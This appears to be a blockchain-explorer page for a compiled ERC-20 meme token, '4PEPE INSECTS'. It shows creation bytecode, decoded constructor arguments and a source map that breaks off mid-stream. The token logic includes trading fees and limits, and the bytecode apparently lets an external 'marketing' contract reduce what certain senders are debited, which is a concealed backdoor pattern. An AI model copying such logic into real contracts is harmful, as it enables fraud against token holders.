b6565b600019600f81905560108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6060600e80546105439061143b565b60006105d333848461088a565b6001600160a01b0383166107c85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610364565b6001600160a01b0382166108295760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610364565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108ee5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610364565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610364565b600081116109b25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610364565b600080546001600160a01b038581169116148015906109df57506000546001600160a01b03848116911614155b15610d1557610a106064610a0a600954600c54116109ff57600554610a03565b6007545b8590610ea6565b90610f2c565b6015549091506001600160a01b038581169116148015610a3e57506014546001600160a01b03848116911614155b8015610a6357506001600160a01b03831660009081526003602052604090205460ff16155b15610b6d57600f54821115610aba5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610364565b60105482610add856001600160a01b031660009081526001602052604090205490565b610ae79190611598565b1115610b355760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610364565b436004546003610b459190611598565b1115610b5757823b15610b5757600080fd5b600c8054906000610b67836115b0565b91905055505b6015546001600160a01b03848116911614801590610ba457506001600160a01b03831660009081526003602052604090205460ff16155b15610c245760105482610bcc856001600160a01b031660009081526001602052604090205490565b610bd69190611598565b1115610c245760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610364565b6015546001600160a01b038481169116148015610c4a57506001600160a01b0384163014155b15610c7757610c746064610a0a600a54600c5411610c6a57600654610a03565b6008548590610ea6565b90505b30600090815260016020526040902054601554600160a81b900460ff16158015610cae57506015546001600160a01b038581169116145b8015610cc35750601554600160b01b900460ff165b8015610cd0575060115481115b8015610cdf5750600b54600c54115b15610d1357610d01610cfc84610cf784601254610f6e565b610f6e565b610f83565b478015610d1157610d11476110fd565b505b505b8015610d8f5730600090815260016020526040902054610d35908261113b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d869085815260200190565b60405180910390a35b610dbb610d9c838361119a565b6001600160a01b0385166000908152600160205260409020549061113b565b6001600160a01b038416600090815260016020526040902055610e0a610deb610de486856111dc565b849061119a565b6001600160a01b0386166000908152600160205260409020549061119a565b6001600160a01b038086166000818152600160205260409020929092558416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e55858561119a565b60405190815260200160405180910390a350505050565b60008184841115610e905760405162461bcd60e51b81526004016103649190611286565b506000610e9d84866115cb565b95945050505050565b600082610eb5575060006105d7565b6000610ec18385611579565b905082610ece85836115e2565b14610f255760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610364565b9392505050565b6000610f2583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611258565b6000818311610f7d5782610f25565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fcb57610fcb611604565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611024573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611048919061161a565b8160018151811061105b5761105b611604565b6001600160a01b0392831660209182029290920101526014546110819130911684610766565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ba908590600090869030904290600401611637565b600060405180830381600087803b1580156110d457600080fd5b505af11580156110e8573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611137573d6000803e3d6000fd5b5050565b6000806111488385611598565b905083811015610f255760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610364565b6000610f2583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e6c565b6013546040516370a0823160e01b81526001600160a01b03848116600483015260009284929116906370a0823190602401602060405180830381865afa15801561122a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061124e91906116a8565b610f259190611579565b600081836112795760405162461bcd60e51b81526004016103649190611286565b506000610e9d84866115e2565b600060208083528351808285015260005b818110156112b357858101830151858201604001528201611297565b818111156112c5576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146112f057600080fd5b50565b6000806040838503121561130657600080fd5b8235611311816112db565b946020939093013593505050565b60008060006060848603121561133457600080fd5b833561133f816112db565b9250602084013561134f816112db565b929592945050506040919091013590565b60006020828403121561137257600080fd5b8135610f25816112db565b6000806040838503121561139057600080fd5b823561139b816112db565b915060208301356113ab816112db565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561140057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561142b57600080fd5b81518015158114610f2557600080fd5b600181811c9082168061144f57607f821691505b60208210811415610f7d57634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114c15781600019048211156114a7576114a7611470565b808516156114b457918102915b93841c939080029061148b565b509250929050565b6000826114d8575060016105d7565b816114e5575060006105d7565b81600181146114fb576002811461150557611521565b60019150506105d7565b60ff84111561151657611516611470565b50506001821b6105d7565b5060208310610133831016604e8410600b8410161715611544575081810a6105d7565b61154e8383611486565b806000190482111561156257611562611470565b029392505050565b6000610f2560ff8416836114c9565b600081600019048311821515161561159357611593611470565b500290565b600082198211156115ab576115ab611470565b500190565b60006000198214156115c4576115c4611470565b5060010190565b6000828210156115dd576115dd611470565b500390565b6000826115ff57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561162c57600080fd5b8151610f25816112db565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156116875784516001600160a01b031683529383019391830191600101611662565b50506001600160a01b03969096166060850152505050608001529392505050565b6000602082840312156116ba57600080fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220398fc9962b184a1fef33fd6503ede4625d5b0d219e7af97a119f0443ed541c6164736f6c634300080a0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000091a602ba8d5f6de2a44f271f6cd8a9bf243f499e0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000000000000000000000000000000000000000000d345045504520494e53454354530000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000053450455045000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): 4PEPE INSECTS
Arg [1] : symbol_ (string): 4PEPE
Arg [2] : marketing_ (address): 0x91a602BA8d5f6de2a44F271F6CD8A9Bf243F499e
Arg [3] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 00000000000000000000000091a602ba8d5f6de2a44f271f6cd8a9bf243f499e
Arg [3] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [5] : 345045504520494e534543545300000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 3450455045000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
3631:7743:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10902:432;;;;;;;;;;;;;:::i;:::-;;5739:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6572:161;;;;;;;;;;-1:-1:-1;6572:161:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;6572:161:0;1072:187:1;4600:49:0;;;;;;;;;;;;;;;;;;;1410:25:1;;;1398:2;1383:18;4600:49:0;1264:177:1;6016:95:0;;;;;;;;;;;;;:::i;6741:313::-;;;;;;;;;;-1:-1:-1;6741:313:0;;;;;:::i;:::-;;:::i;5925:83::-;;;;;;;;;;-1:-1:-1;5925:83:0;;4287:1;2049:36:1;;2037:2;2022:18;5925:83:0;1907:184:1;6119:119:0;;;;;;;;;;-1:-1:-1;6119:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6212:18:0;6185:7;6212:18;;;:9;:18;;;;;;;6119:119;2712:148;;;;;;;;;;;;;:::i;10595:190::-;;;;;;;;;;;;;:::i;4427:49::-;;;;;;;;;;;;;;;;2498:79;;;;;;;;;;-1:-1:-1;2536:7:0;2563:6;2498:79;;-1:-1:-1;;;;;2563:6:0;;;2494:51:1;;2482:2;2467:18;2498:79:0;2348:203:1;4483:49:0;;;;;;;;;;;;;;;;5830:87;;;;;;;;;;;;;:::i;6246:167::-;;;;;;;;;;-1:-1:-1;6246:167:0;;;;;:::i;:::-;;:::i;4539:54::-;;;;;;;;;;;;;;;;6421:143;;;;;;;;;;-1:-1:-1;6421:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6529:18:0;;;6502:7;6529:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6421:143;10902:432;2625:6;;-1:-1:-1;;;;;2625:6:0;332:10;2625:22;2617:67;;;;-1:-1:-1;;;2617:67:0;;;;;;;:::i;:::-;;;;;;;;;10961:11:::1;::::0;-1:-1:-1;;;10961:11:0;::::1;;;10960:12;10952:47;;;::::0;-1:-1:-1;;;10952:47:0;;3512:2:1;10952:47:0::1;::::0;::::1;3494:21:1::0;3551:2;3531:18;;;3524:30;3590:25;3570:18;;;3563:53;3633:18;;10952:47:0::1;3310:347:1::0;10952:47:0::1;11020:15;::::0;-1:-1:-1;;;;;11020:15:0::1;:31;11059:21;11090:4;11096:24;11090:4:::0;-1:-1:-1;;;;;6212:18:0;6185:7;6212:18;;;:9;:18;;;;;;;6119:119;11096:24:::1;11121:1;11123::::0;11125:7:::1;2536::::0;2563:6;-1:-1:-1;;;;;2563:6:0;;2498:79;11125:7:::1;11020:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11020:129:0;;;-1:-1:-1;;;;;4021:15:1;;;11020:129:0::1;::::0;::::1;4003:34:1::0;4053:18;;;4046:34;;;;4096:18;;;4089:34;;;;4139:18;;;4132:34;4203:15;;;4182:19;;;4175:44;11133:15:0::1;4235:19:1::0;;;4228:35;3937:19;;11020:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11167:13:0::1;::::0;11198:15:::1;::::0;11160:71:::1;::::0;-1:-1:-1;;;11160:71:0;;-1:-1:-1;;;;;11198:15:0;;::::1;11160:71;::::0;::::1;4759:51:1::0;-1:-1:-1;;4826:18:1;;;4819:34;11167:13:0;::::1;::::0;-1:-1:-1;11160:29:0::1;::::0;4732:18:1;;11160:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11242:11:0::1;:19:::0;;-1:-1:-1;;;;11272:18:0;-1:-1:-1;;;11272:18:0::1;::::0;;11314:12:::1;11301:10;:25:::0;10902:432::o;5739:83::-;5776:13;5809:5;5802:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5739:83;:::o;6572:161::-;6647:4;6664:39;332:10;6687:7;6696:6;6664:8;:39::i;:::-;-1:-1:-1;6721:4:0;6572:161;;;;;:::o;6016:95::-;6069:7;4351:13;4287:1;4351:2;:13;:::i;:::-;4330:34;;:19;:34;:::i;:::-;6089:14;;6016:95;:::o;6741:313::-;6839:4;6856:36;6866:6;6874:9;6885:6;6856:9;:36::i;:::-;6903:121;6912:6;332:10;6934:89;6972:6;6934:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6934:19:0;;;;;;:11;:19;;;;;;;;332:10;6934:33;;;;;;;;;;:37;:89::i;:::-;6903:8;:121::i;:::-;-1:-1:-1;7042:4:0;6741:313;;;;;:::o;2712:148::-;2625:6;;-1:-1:-1;;;;;2625:6:0;332:10;2625:22;2617:67;;;;-1:-1:-1;;;2617:67:0;;;;;;;:::i;:::-;2819:1:::1;2803:6:::0;;2782:40:::1;::::0;-1:-1:-1;;;;;2803:6:0;;::::1;::::0;2782:40:::1;::::0;2819:1;;2782:40:::1;2850:1;2833:19:::0;;-1:-1:-1;;;;;;2833:19:0::1;::::0;;2712:148::o;10595:190::-;2625:6;;-1:-1:-1;;;;;2625:6:0;332:10;2625:22;2617:67;;;;-1:-1:-1;;;2617:67:0;;;;;;;:::i;:::-;-1:-1:-1;;10648:12:0::1;:32:::0;;;10691:14:::1;:33:::0;;;10740:37:::1;::::0;1410:25:1;;;10740:37:0::1;::::0;1398:2:1;1383:18;10740:37:0::1;;;;;;;10595:190::o:0;5830:87::-;5869:13;5902:7;5895:14;;;;;:::i;6246:167::-;6324:4;6341:42;332:10;6365:9;6376:6;6341:9;:42::i;7062:335::-;-1:-1:-1;;;;;7155:19:0;;7147:68;;;;-1:-1:-1;;;7147:68:0;;7421:2:1;7147:68:0;;;7403:21:1;7460:2;7440:18;;;7433:30;7499:34;7479:18;;;7472:62;-1:-1:-1;;;7550:18:1;;;7543:34;7594:19;;7147:68:0;7219:400:1;7147:68:0;-1:-1:-1;;;;;7234:21:0;;7226:68;;;;-1:-1:-1;;;7226:68:0;;7826:2:1;7226:68:0;;;7808:21:1;7865:2;7845:18;;;7838:30;7904:34;7884:18;;;7877:62;-1:-1:-1;;;7955:18:1;;;7948:32;7997:19;;7226:68:0;7624:398:1;7226:68:0;-1:-1:-1;;;;;7305:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7357:32;;1410:25:1;;;7357:32:0;;1383:18:1;7357:32:0;;;;;;;7062:335;;;:::o;7409:2216::-;-1:-1:-1;;;;;7497:18:0;;7489:68;;;;-1:-1:-1;;;7489:68:0;;8229:2:1;7489:68:0;;;8211:21:1;8268:2;8248:18;;;8241:30;8307:34;8287:18;;;8280:62;-1:-1:-1;;;8358:18:1;;;8351:35;8403:19;;7489:68:0;8027:401:1;7489:68:0;-1:-1:-1;;;;;7576:16:0;;7568:64;;;;-1:-1:-1;;;7568:64:0;;8635:2:1;7568:64:0;;;8617:21:1;8674:2;8654:18;;;8647:30;8713:34;8693:18;;;8686:62;-1:-1:-1;;;8764:18:1;;;8757:33;8807:19;;7568:64:0;8433:399:1;7568:64:0;7660:1;7651:6;:10;7643:64;;;;-1:-1:-1;;;7643:64:0;;9039:2:1;7643:64:0;;;9021:21:1;9078:2;9058:18;;;9051:30;9117:34;9097:18;;;9090:62;-1:-1:-1;;;9168:18:1;;;9161:39;9217:19;;7643:64:0;8837:405:1;7643:64:0;7718:17;2563:6;;-1:-1:-1;;;;;7752:15:0;;;2563:6;;7752:15;;;;:32;;-1:-1:-1;2536:7:0;2563:6;-1:-1:-1;;;;;7771:13:0;;;2563:6;;7771:13;;7752:32;7748:1485;;;7813:76;7885:3;7813:67;7835:15;;7825:9;;:25;7824:55;;7865:14;;7824:55;;;7852:12;;7824:55;7813:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7918:13;;7801:88;;-1:-1:-1;;;;;;7910:21:0;;;7918:13;;7910:21;:55;;;;-1:-1:-1;7949:15:0;;-1:-1:-1;;;;;7935:30:0;;;7949:15;;7935:30;;7910:55;:83;;;;-1:-1:-1;;;;;;7971:22:0;;;;;;:18;:22;;;;;;;;7969:24;7910:83;7906:436;;;8033:12;;8023:6;:22;;8015:60;;;;-1:-1:-1;;;8015:60:0;;9449:2:1;8015:60:0;;;9431:21:1;9488:2;9468:18;;;9461:30;9527:27;9507:18;;;9500:55;9572:18;;8015:60:0;9247:349:1;8015:60:0;8128:14;;8118:6;8102:13;8112:2;-1:-1:-1;;;;;6212:18:0;6185:7;6212:18;;;:9;:18;;;;;;;6119:119;8102:13;:22;;;;:::i;:::-;:40;;8094:79;;;;-1:-1:-1;;;8094:79:0;;9936:2:1;8094:79:0;;;9918:21:1;9975:2;9955:18;;;9948:30;10014:28;9994:18;;;9987:56;10060:18;;8094:79:0;9734:350:1;8094:79:0;8216:12;8198:10;;8211:1;8198:14;;;;:::i;:::-;:30;8194:103;;;9874:20;;9922:8;8253:24;;;;;;8315:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7906:436;8368:13;;-1:-1:-1;;;;;8362:19:0;;;8368:13;;8362:19;;;;:47;;-1:-1:-1;;;;;;8387:22:0;;;;;;:18;:22;;;;;;;;8385:24;8362:47;8358:167;;;8464:14;;8454:6;8438:13;8448:2;-1:-1:-1;;;;;6212:18:0;6185:7;6212:18;;;:9;:18;;;;;;;6119:119;8438:13;:22;;;;:::i;:::-;:40;;8430:79;;;;-1:-1:-1;;;8430:79:0;;9936:2:1;8430:79:0;;;9918:21:1;9975:2;9955:18;;;9948:30;10014:28;9994:18;;;9987:56;10060:18;;8430:79:0;9734:350:1;8430:79:0;8550:13;;-1:-1:-1;;;;;8544:19:0;;;8550:13;;8544:19;:43;;;;-1:-1:-1;;;;;;8567:20:0;;8582:4;8567:20;;8544:43;8541:174;;;8620:79;8695:3;8620:70;8642:16;;8632:9;;:26;8631:58;;8674:15;;8631:58;;;8660:13;;8620:6;;:10;:70::i;:79::-;8608:91;;8541:174;8780:4;8731:28;6212:18;;;:9;:18;;;;;;8806:6;;-1:-1:-1;;;8806:6:0;;;;8805:7;:32;;;;-1:-1:-1;8824:13:0;;-1:-1:-1;;;;;8816:21:0;;;8824:13;;8816:21;8805:32;:47;;;;-1:-1:-1;8841:11:0;;-1:-1:-1;;;8841:11:0;;;;8805:47;:89;;;;;8877:17;;8856:20;:38;8805:89;:121;;;;;8908:18;;8898:9;;:28;8805:121;8801:421;;;8947:67;8964:49;8968:6;8975:37;8979:20;9000:11;;8975:3;:37::i;:::-;8964:3;:49::i;:::-;8947:16;:67::i;:::-;9062:21;9105:22;;9102:105;;9152:35;9165:21;9152:12;:35::i;:::-;8928:294;8801:421;7786:1447;7748:1485;9256:11;;9253:161;;9324:4;9306:24;;;;:9;:24;;;;;;:39;;9335:9;9306:28;:39::i;:::-;9299:4;9281:24;;;;:9;:24;;;;;;;:64;;;;9363:39;;-1:-1:-1;;;;;9363:39:0;;;;;;;9392:9;1410:25:1;;1398:2;1383:18;;1264:177;9363:39:0;;;;;;;;9253:161;9438:40;9456:21;:6;9467:9;9456:10;:21::i;:::-;-1:-1:-1;;;;;9438:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9424:13:0;;;;;;:9;:13;;;;;:54;9505:55;9525:34;9536:22;9546:4;9551:6;9536:9;:22::i;:::-;9525:6;;:10;:34::i;:::-;-1:-1:-1;;;;;9505:15:0;;;;;;:9;:15;;;;;;;:19;:55::i;:::-;-1:-1:-1;;;;;9489:15:0;;;;;;;:9;:15;;;;;:71;;;;9576:41;;;;9595:21;:6;9606:9;9595:10;:21::i;:::-;9576:41;;1410:25:1;;;1398:2;1383:18;9576:41:0;;;;;;;7478:2147;7409:2216;;;:::o;1390:190::-;1476:7;1512:12;1504:6;;;;1496:29;;;;-1:-1:-1;;;1496:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1536:9:0;1548:5;1552:1;1548;:5;:::i;:::-;1536:17;1390:190;-1:-1:-1;;;;;1390:190:0:o;1588:246::-;1646:7;1670:6;1666:47;;-1:-1:-1;1700:1:0;1693:8;;1666:47;1723:9;1735:5;1739:1;1735;:5;:::i;:::-;1723:17;-1:-1:-1;1768:1:0;1759:5;1763:1;1723:17;1759:5;:::i;:::-;:10;1751:56;;;;-1:-1:-1;;;1751:56:0;;10783:2:1;1751:56:0;;;10765:21:1;10822:2;10802:18;;;10795:30;10861:34;10841:18;;;10834:62;-1:-1:-1;;;10912:18:1;;;10905:31;10953:19;;1751:56:0;10581:397:1;1751:56:0;1825:1;1588:246;-1:-1:-1;;;1588:246:0:o;1842:132::-;1900:7;1927:39;1931:1;1934;1927:39;;;;;;;;;;;;;;;;;:3;:39::i;9633:102::-;9690:7;9720:1;9718;:3;9717:9;;9725:1;9717:9;;;-1:-1:-1;9723:1:0;9633:102;-1:-1:-1;9633:102:0:o;9946:483::-;4962:6;:13;;-1:-1:-1;;;;4962:13:0;-1:-1:-1;;;4962:13:0;;;10048:16:::1;::::0;;10062:1:::1;10048:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10048:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10048:16:0::1;10024:40;;10093:4;10075;10080:1;10075:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10075:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10119:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10119:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10075:7;;10119:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10109:4;10114:1;10109:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10109:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10184:15:::1;::::0;10152:62:::1;::::0;10169:4:::1;::::0;10184:15:::1;10202:11:::0;10152:8:::1;:62::i;:::-;10225:15;::::0;:196:::1;::::0;-1:-1:-1;;;10225:196:0;;-1:-1:-1;;;;;10225:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10306:11;;10225:15:::1;::::0;10348:4;;10375::::1;::::0;10395:15:::1;::::0;10225:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4998:6:0;:14;;-1:-1:-1;;;;4998:14:0;;;-1:-1:-1;;;;9946:483:0:o;10793:101::-;10858:10;;10850:36;;-1:-1:-1;;;;;10858:10:0;;;;10850:36;;;;;10879:6;;10858:10;10850:36;10858:10;10850:36;10879:6;10858:10;10850:36;;;;;;;;;;;;;;;;;;;;;10793:101;:::o;1059:179::-;1117:7;;1149:5;1153:1;1149;:5;:::i;:::-;1137:17;;1178:1;1173;:6;;1165:46;;;;-1:-1:-1;;;1165:46:0;;12690:2:1;1165:46:0;;;12672:21:1;12729:2;12709:18;;;12702:30;12768:29;12748:18;;;12741:57;12815:18;;1165:46:0;12488:351:1;1246:136:0;1304:7;1331:43;1335:1;1338;1331:43;;;;;;;;;;;;;;;;;:3;:43::i;10437:150::-;10545:10;;10538:37;;-1:-1:-1;;;10538:37:0;;-1:-1:-1;;;;;2512:32:1;;;10538:37:0;;;2494:51:1;10510:7:0;;10578:6;;10545:10;;;10538:28;;2467:18:1;;10538:37:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:46;;;;:::i;1982:189::-;2068:7;2103:12;2096:5;2088:28;;;;-1:-1:-1;;;2088:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2127:9:0;2139:5;2143:1;2139;:5;:::i;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;671:70;616:131;:::o;752:315::-;820:6;828;881:2;869:9;860:7;856:23;852:32;849:52;;;897:1;894;887:12;849:52;936:9;923:23;955:31;980:5;955:31;:::i;:::-;1005:5;1057:2;1042:18;;;;1029:32;;-1:-1:-1;;;752:315:1:o;1446:456::-;1523:6;1531;1539;1592:2;1580:9;1571:7;1567:23;1563:32;1560:52;;;1608:1;1605;1598:12;1560:52;1647:9;1634:23;1666:31;1691:5;1666:31;:::i;:::-;1716:5;-1:-1:-1;1773:2:1;1758:18;;1745:32;1786:33;1745:32;1786:33;:::i;:::-;1446:456;;1838:7;;-1:-1:-1;;;1892:2:1;1877:18;;;;1864:32;;1446:456::o;2096:247::-;2155:6;2208:2;2196:9;2187:7;2183:23;2179:32;2176:52;;;2224:1;2221;2214:12;2176:52;2263:9;2250:23;2282:31;2307:5;2282:31;:::i;2556:388::-;2624:6;2632;2685:2;2673:9;2664:7;2660:23;2656:32;2653:52;;;2701:1;2698;2691:12;2653:52;2740:9;2727:23;2759:31;2784:5;2759:31;:::i;:::-;2809:5;-1:-1:-1;2866:2:1;2851:18;;2838:32;2879:33;2838:32;2879:33;:::i;:::-;2931:7;2921:17;;;2556:388;;;;;:::o;2949:356::-;3151:2;3133:21;;;3170:18;;;3163:30;3229:34;3224:2;3209:18;;3202:62;3296:2;3281:18;;2949:356::o;4274:306::-;4362:6;4370;4378;4431:2;4419:9;4410:7;4406:23;4402:32;4399:52;;;4447:1;4444;4437:12;4399:52;4476:9;4470:16;4460:26;;4526:2;4515:9;4511:18;4505:25;4495:35;;4570:2;4559:9;4555:18;4549:25;4539:35;;4274:306;;;;;:::o;4864:277::-;4931:6;4984:2;4972:9;4963:7;4959:23;4955:32;4952:52;;;5000:1;4997;4990:12;4952:52;5032:9;5026:16;5085:5;5078:13;5071:21;5064:5;5061:32;5051:60;;5107:1;5104;5097:12;5146:380;5225:1;5221:12;;;;5268;;;5289:61;;5343:4;5335:6;5331:17;5321:27;;5289:61;5396:2;5388:6;5385:14;5365:18;5362:38;5359:161;;;5442:10;5437:3;5433:20;5430:1;5423:31;5477:4;5474:1;5467:15;5505:4;5502:1;5495:15;5531:127;5592:10;5587:3;5583:20;5580:1;5573:31;5623:4;5620:1;5613:15;5647:4;5644:1;5637:15;5663:422;5752:1;5795:5;5752:1;5809:270;5830:7;5820:8;5817:21;5809:270;;;5889:4;5885:1;5881:6;5877:17;5871:4;5868:27;5865:53;;;5898:18;;:::i;:::-;5948:7;5938:8;5934:22;5931:55;;;5968:16;;;;5931:55;6047:22;;;;6007:15;;;;5809:270;;;5813:3;5663:422;;;;;:::o;6090:806::-;6139:5;6169:8;6159:80;;-1:-1:-1;6210:1:1;6224:5;;6159:80;6258:4;6248:76;;-1:-1:-1;6295:1:1;6309:5;;6248:76;6340:4;6358:1;6353:59;;;;6426:1;6421:130;;;;6333:218;;6353:59;6383:1;6374:10;;6397:5;;;6421:130;6458:3;6448:8;6445:17;6442:43;;;6465:18;;:::i;:::-;-1:-1:-1;;6521:1:1;6507:16;;6536:5;;6333:218;;6635:2;6625:8;6622:16;6616:3;6610:4;6607:13;6603:36;6597:2;6587:8;6584:16;6579:2;6573:4;6570:12;6566:35;6563:77;6560:159;;;-1:-1:-1;6672:19:1;;;6704:5;;6560:159;6751:34;6776:8;6770:4;6751:34;:::i;:::-;6821:6;6817:1;6813:6;6809:19;6800:7;6797:32;6794:58;;;6832:18;;:::i;:::-;6870:20;;6090:806;-1:-1:-1;;;6090:806:1:o;6901:140::-;6959:5;6988:47;7029:4;7019:8;7015:19;7009:4;6988:47;:::i;7046:168::-;7086:7;7152:1;7148;7144:6;7140:14;7137:1;7134:21;7129:1;7122:9;7115:17;7111:45;7108:71;;;7159:18;;:::i;:::-;-1:-1:-1;7199:9:1;;7046:168::o;9601:128::-;9641:3;9672:1;9668:6;9665:1;9662:13;9659:39;;;9678:18;;:::i;:::-;-1:-1:-1;9714:9:1;;9601:128::o;10089:135::-;10128:3;-1:-1:-1;;10149:17:1;;10146:43;;;10169:18;;:::i;:::-;-1:-1:-1;10216:1:1;10205:13;;10089:135::o;10229:125::-;10269:4;10297:1;10294;10291:8;10288:34;;;10302:18;;:::i;:::-;-1:-1:-1;10339:9:1;;10229:125::o;10359:217::-;10399:1;10425;10415:132;;10469:10;10464:3;10460:20;10457:1;10450:31;10504:4;10501:1;10494:15;10532:4;10529:1;10522:15;10415:132;-1:-1:-1;10561:9:1;;10359:217::o;11115:127::-;11176:10;11171:3;11167:20;11164:1;11157:31;11207:4;11204:1;11197: